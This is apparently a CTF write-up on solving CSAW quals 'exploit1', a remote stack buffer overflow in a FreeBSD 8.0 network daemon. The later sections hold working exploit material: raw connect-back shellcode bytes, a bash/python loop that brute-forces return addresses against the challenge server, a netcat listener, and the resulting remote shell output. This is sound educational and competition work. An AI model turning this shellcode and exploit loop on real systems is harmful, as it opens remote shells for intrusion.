Last week-end was held the well-known CSAW CTF (quals) by NYU-Poly. Last year and this year winners are none but our awesome friends PPP! We took 2nd place just behind them, see top15 graph.
They gave us interesting exploit challenges and I had the opportunity to look at exploit1: a remote stack based buffer overflow under FreeBSD 8.0.
AnalysisWe were given a file, which appeared to be:
ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 8.0 (800107), statically linked, FreeBSD-style, not strippedUsing IDAPro HexRays we quickly recognize a classic network daemon (socket/bind/listen/accept/fork). The function handling user input is called rmsg and uses insecurely strcat with user input: it's a classic remote stack based buffer overflow.
DebuggingAssuming the system running the daemon is indeed FreeBSD 8.0, we run Virtual Machine (thoughtpolice is a good start if you need one) and open the binary in gdb. Note: a good gdbinit is worth it.
From there, you can either instruct gdb to follow the child:
set follow-fork-mode child catch execOr patch the binary to avoid the fork - my favorite - with xor eax,eax then nop in order to have a return value of 0 as if we were in the child process:
<address> <original value> <patched> 00000370: E8 33 00000371: 03 C0 00000372: 05 90 00000373: 00 90 00000374: 00 90Here is the resulting patched binary.
TriggerWe can trigger the stack overflow from the network using netcat and a large user input:
$ python -c 'import struct; print "A"*360+struct.pack("<I",0xdeadbeef)' | nc 127.0.0.1 8888You should see in gdb that we achieved to control the saved eip:
0xdeadbeef in ?? ()
ShellcodeNow we want the program to run our code, what code? We could use a bind port shellcode, but it's unlikely to work because we're connecting to CSAW unique IPv4 address, so very likely it's behind a NAT router. So we could use a connect-back if output is not blocked. Hopefully it was not, otherwise we would have used a custom shellcode reusing the current opened connection.
My friend sbz (@sbrabez) - our FreeBSD guy at Nibbles - gave me the following BSDi-x86-connectback shellcode, which worked well.
Return addressSince default FreeBSD 8.0 has executable stack and no ASLR, we'll use a simple exploit payload: nopsled + shellcode + saved eip rewrite, with address somewhere in the nopsled. In this situation I just run gdb with zeroed environment (env -i gdb <file>), run the program and break after the overflow to have the address of the buffer and choose something in the middle of the nopsled: 0xbfbfe510 sounded good.
This address will most likely be wrong on the server, but thanks to the nopsled we can quickly iterate over a few return addresses to eventually find something that works - script hangs and connection appears on the connect-back listener:
First, start the connect-back listener:
$ nc -nlvp 1337 listening on [any] 1337 ...
Then run the exploit:
for i in $(seq 0 100); do echo $i python -c 'sc="\xb8\xff\xf8\xff\x3c\xf7\xd0\x50\x31\xc0\xb0\x9a\x50\x89\xe7\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\xff\xd7\x89\xc6\x68\xaa\xbb\xcc\xdd\x68\xaa\x02\x05\x39\x89\xe5\x6a\x10\x55\x56\xb0\x62\xff\xd7\x53\x56\xb0\x5a\xff\xd7\x4b\x79\xf7\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\xff\xd7"; from struct import pack; print sc.rjust(360,"\x90")+pack("<I",0xbfbfe510+0x10*'$i')' |nc 184.108.40.206 40001 done
At i=76 I received the connect-back shell:
connect to [220.127.116.11] from (UNKNOWN) [18.104.22.168] 64361 id uid=1001(chal1) gid=1001(chal1) groups=1001(chal1) ls key cat key 95335ebbdbab9c8eb745fd3ec618d35a
Classic, but still fun to exploit!